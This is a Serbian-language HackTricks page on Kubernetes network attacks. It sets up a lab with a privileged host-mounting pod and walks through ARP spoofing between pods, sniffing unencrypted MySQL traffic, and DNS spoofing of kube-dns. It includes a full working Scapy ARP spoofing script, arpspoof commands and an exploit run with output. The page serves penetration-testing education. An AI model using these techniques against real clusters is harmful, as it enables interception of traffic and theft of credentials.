Kubernetes Network Attacks

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Uvod

U Kubernetes-u se primećuje da podrazumevano ponašanje omogućava uspostavljanje veza između svih kontejnera smeštenih na istom čvoru. Ovo važi bez obzira na razlike u imenovnom prostoru (namespace). Takva povezanost se prostire do sloja 2 (Ethernet). Kao rezultat, ova konfiguracija potencijalno izlaže sistem ranjivostima. Konkretno, otvara mogućnost za zlonamerni kontejner da izvrši ARP spoofing napad na druge kontejnere smeštene na istom čvoru. Tokom takvog napada, zlonamerni kontejner može prevarno presresti ili izmeniti mrežni saobraćaj namenjen drugim kontejnerima.

Napadi ARP spoofing-a uključuju napadača koji šalje lažne ARP (Address Resolution Protocol) poruke preko lokalne mreže. To rezultira povezivanjem MAC adrese napadača sa IP adresom legitimnog računara ili servera na mreži. Nakon uspešnog izvršenja takvog napada, napadač može presresti, izmeniti ili čak zaustaviti podatke koji se prenose. Napad se izvršava na sloju 2 OSI modela, zbog čega podrazumevana povezanost u Kubernetes-u na ovom sloju izaziva sigurnosne probleme.

U scenariju će biti kreirane 4 mašine:

  • ubuntu-pe: Privilegovana mašina za bekstvo na čvor i proveru metrika (nije potrebna za napad)

  • ubuntu-attack: Zlonamerni kontejner u podrazumevanom imenovnom prostoru

  • ubuntu-victim: Žrtvena mašina u kube-system imenovnom prostoru

  • mysql: Žrtvena mašina u podrazumevanom imenovnom prostoru

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -
kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Osnovna Kubernetes mrežna infrastruktura

Ako želite više detalja o mrežnim temama koje su ovde predstavljene, pogledajte reference.

ARP

Općenito govoreći, mreža između podova unutar čvora je dostupna putem mosta koji povezuje sve podove. Ovaj most se naziva "cbr0". (Neki mrežni dodaci će instalirati svoj sopstveni most.) cbr0 takođe može rukovati ARP (Address Resolution Protocol) rezolucijom. Kada dolazi dolazni paket na cbr0, može se rešiti odredišna MAC adresa koristeći ARP.

Ova činjenica implicira da, prema podrazumevanim podešavanjima, svaki pod koji se izvršava na istom čvoru će moći da komunicira sa bilo kojim drugim podom na istom čvoru (nezavisno od imenskog prostora) na nivou Ethernet-a (sloj 2).

Stoga je moguće izvršiti napade ARP Spoofing između podova na istom čvoru.

DNS

U Kubernetes okruženjima obično ćete pronaći 1 (ili više) DNS usluga koje se izvršavaju obično u kube-system imenskom prostoru:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

U prethodnim informacijama možete videti nešto interesantno, IP adresa servisa je 10.96.0.10, ali IP adresa poda na kojem se izvršava servis je 172.17.0.2.

Ako proverite DNS adresu unutar bilo kog poda, pronaći ćete nešto slično ovome:

cat /etc/resolv.conf
nameserver 10.96.0.10

Međutim, pod ne zna kako da pristupi toj adresi jer je opseg poda u ovom slučaju 172.17.0.10/26.

Stoga će pod poslati DNS zahtev na adresu 10.96.0.10 koja će biti prevedena od strane cbr0 u 172.17.0.2.

To znači da će DNS zahtev poda uvek ići preko mosta kako bi se preveo IP servisa u IP krajnje tačke, čak i ako je DNS server u istoj podmreži kao pod.

Znajući ovo, i znajući da su ARP napadi mogući, pod na čvoru će moći da presretne saobraćaj između svakog poda u podmreži i mosta i izmeni DNS odgovore od DNS servera (DNS prevara).

Osim toga, ako je DNS server na istom čvoru kao napadač, napadač može presresti sve DNS zahteve bilo kog poda u klasteru (između DNS servera i mosta) i izmeniti odgovore.

ARP prevara u podovima na istom čvoru

Naš cilj je da ukrademo komunikaciju barem od ubuntu-victim do mysql.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance
arp_spoof.py
#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

ARPSpoof је техника напада која се користи за превару у мрежи засноване на Ethernet-у. Ова техника се користи за превару у мрежи тако што се шаљу лажни ARP одговори на циљане рачунаре у мрежи. Ово омогућава нападачу да превари рачунаре у мрежи и преусмери саобраћај преко свог рачунара. Нападач може да прати, снима и мења саобраћај између циљаног рачунара и других рачунара у мрежи. Ова техника је корисна за извршавање различитих напада, као што су Man-in-the-Middle напади и снимање лозинки.

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS Spoofing

Kao što je već pomenuto, ako kompromitujete pod na istom čvoru kao DNS server pod, možete MitM sa ARPSpoofingom mosta i DNS poda i izmeniti sve DNS odgovore.

Imate veoma koristan alat i tutorial za testiranje ovoga na https://github.com/danielsagi/kube-dnsspoof/

U našem scenariju, preuzmite alat na napadački pod i kreirajte fajl nazvan hosts sa domenima koje želite da prevarite, kao što je:

cat hosts
google.com. 1.1.1.1

Izvršite napad na mašinu ubuntu-victim:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop
#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Ako pokušate da napravite svoj DNS spoofing skript, ako samo izmenite DNS odgovor, to neće raditi, jer će odgovor imati izvor IP adresu zlonamernog poda i neće biti prihvaćen. Potrebno je generisati novi DNS paket sa izvor IP adresom DNS-a na koju žrtva šalje DNS zahtev (što je nešto poput 172.16.0.2, a ne 10.96.0.10, to je IP adresa K8s DNS servisa, a ne IP adresa DNS servera, više o tome u uvodu).

Snimanje saobraćaja

Alatka Mizu je jednostavan, ali moćan preglednik API saobraćaja za Kubernetes koji vam omogućava da vidite svu komunikaciju API-ja između mikroservisa kako biste pomogli u otklanjanju grešaka i rešavanju problema. Instaliraće agente u odabranim podovima i prikupiti informacije o njihovom saobraćaju i prikazati ih na veb serveru. Međutim, za ovo će vam biti potrebne visoke K8s dozvole (i nije baš neprimetno).

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated